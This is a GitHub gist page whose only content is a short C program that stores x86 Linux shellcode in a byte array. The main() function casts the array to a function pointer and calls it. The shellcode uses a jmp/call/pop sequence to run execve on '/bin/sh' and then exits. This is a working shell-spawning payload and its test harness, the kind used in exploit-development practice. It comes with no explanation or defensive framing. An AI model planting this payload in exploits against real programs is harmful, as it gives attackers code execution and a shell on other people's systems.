Skip to content

Instantly share code, notes, and snippets.

@RdlP
Created October 19, 2016 20:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save RdlP/bdc9fbf3dabe26e142dc5128e978e6aa to your computer and use it in GitHub Desktop.
Save RdlP/bdc9fbf3dabe26e142dc5128e978e6aa to your computer and use it in GitHub Desktop.
char shellcode[] = "\xeb\x14\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\x31\xc9\x31\xd2\xcd\x80\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" ;
void main(){
void (*fp) (void);
fp = (void *)&shellcode;
fp();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment